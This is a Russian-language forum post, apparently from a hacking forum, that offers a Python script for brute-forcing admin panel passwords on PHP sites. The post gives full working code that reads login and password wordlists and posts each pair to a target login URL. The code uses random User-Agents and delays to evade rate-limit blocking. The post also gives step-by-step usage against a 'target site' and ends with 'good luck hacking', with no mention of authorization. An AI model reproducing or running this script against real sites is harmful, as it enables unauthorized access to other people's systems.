Скрипт для Подбора Паролей к Админке

[SpecIT]

Привет, форумачанам!
Решил поделиться с вами своим скриптом, который помогает подбирать пароли к админке на сайтах, использующих PHP для аутентификации.
Этот скрипт на Python довольно простой, но эффективный, особенно если сайт не использует дополнительные меры безопасности.

1. Введение

Многие веб-приложения используют PHP для обработки аутентификации пользователей. Один из распространенных методов — это проверка логина и пароля на сервере.
Если сайт не использует защитные механизмы, такие как ограничение количества попыток ввода или CAPTCHA, мы можем использовать перебор для подбора правильных данных.

2. Скрипт на Python

Вот пример скрипта на Python, который выполняет перебор логина и пароля:

import requests
import time
import random
from fake_useragent import UserAgent

# URL для отправки запроса
url = 'http://example.com/admin/login.php'

# Файлы со списками логинов и паролей
login_file = 'logins.txt'
password_file = 'passwords.txt'

# Чтение логинов и паролей из файлов
with open(login_file, 'r') as lf, open(password_file, 'r') as pf:
    logins = lf.read().splitlines()
    passwords = pf.read().splitlines()

# Инициализация UserAgent для обхода блокировок
ua = UserAgent()

# Функция для отправки запроса с задержкой и случайным UserAgent
def send_request(login, password):
    headers = {'User-Agent': ua.random}
    data = {
        'username': login,
        'password': password
    }
    try:
        response = requests.post(url, data=data, headers=headers)
        response.raise_for_status()  # Проверка на успешный ответ
        return response.text
    except requests.exceptions.RequestException as e:
        print(f'Ошибка запроса: {e}')
        return None

# Функция для обработки CAPTCHA (примитивный пример)
def handle_captcha(response):
    if 'captcha' in response:
        print('CAPTCHA detected. Implement CAPTCHA solving logic here.')
        return True
    return False

# Перебор логинов и паролей с задержкой
for login in logins:
    for password in passwords:
        time.sleep(random.uniform(1, 3))  # Случайная задержка от 1 до 3 секунд
        response = send_request(login, password)
        if response and 'success' in response:  # Проверка на успешную аутентификацию
            print(f'Логин: {login}, Пароль: {password}')
            break
        elif response and handle_captcha(response):
            continue  # Продолжаем перебор, если CAPTCHA была обнаружена и обработана

3. Как Использовать

1. Подготовка файлов: Создайте два текстовых файла, logins.txt и passwords.txt, и заполните их возможными комбинациями логинов и паролей, по одному на строку.
2. Замена URL: Измените переменную url на адрес страницы входа в админку целевого сайта.
3. Запуск скрипта: Запустите скрипт, и он начнет перебор комбинаций логин-пароль с случайными задержками и использованием случайных UserAgent строк.

4. Заключение

Этот скрипт на Python поможет вам подбирать пароли к админке на сайтах, использующих PHP для аутентификации.
Он включает в себя обход некоторых защитных механизмов, таких как таймауты и CAPTCHA. Делитесь своими находками и улучшениями в комментариях!

Удачи в хакинге!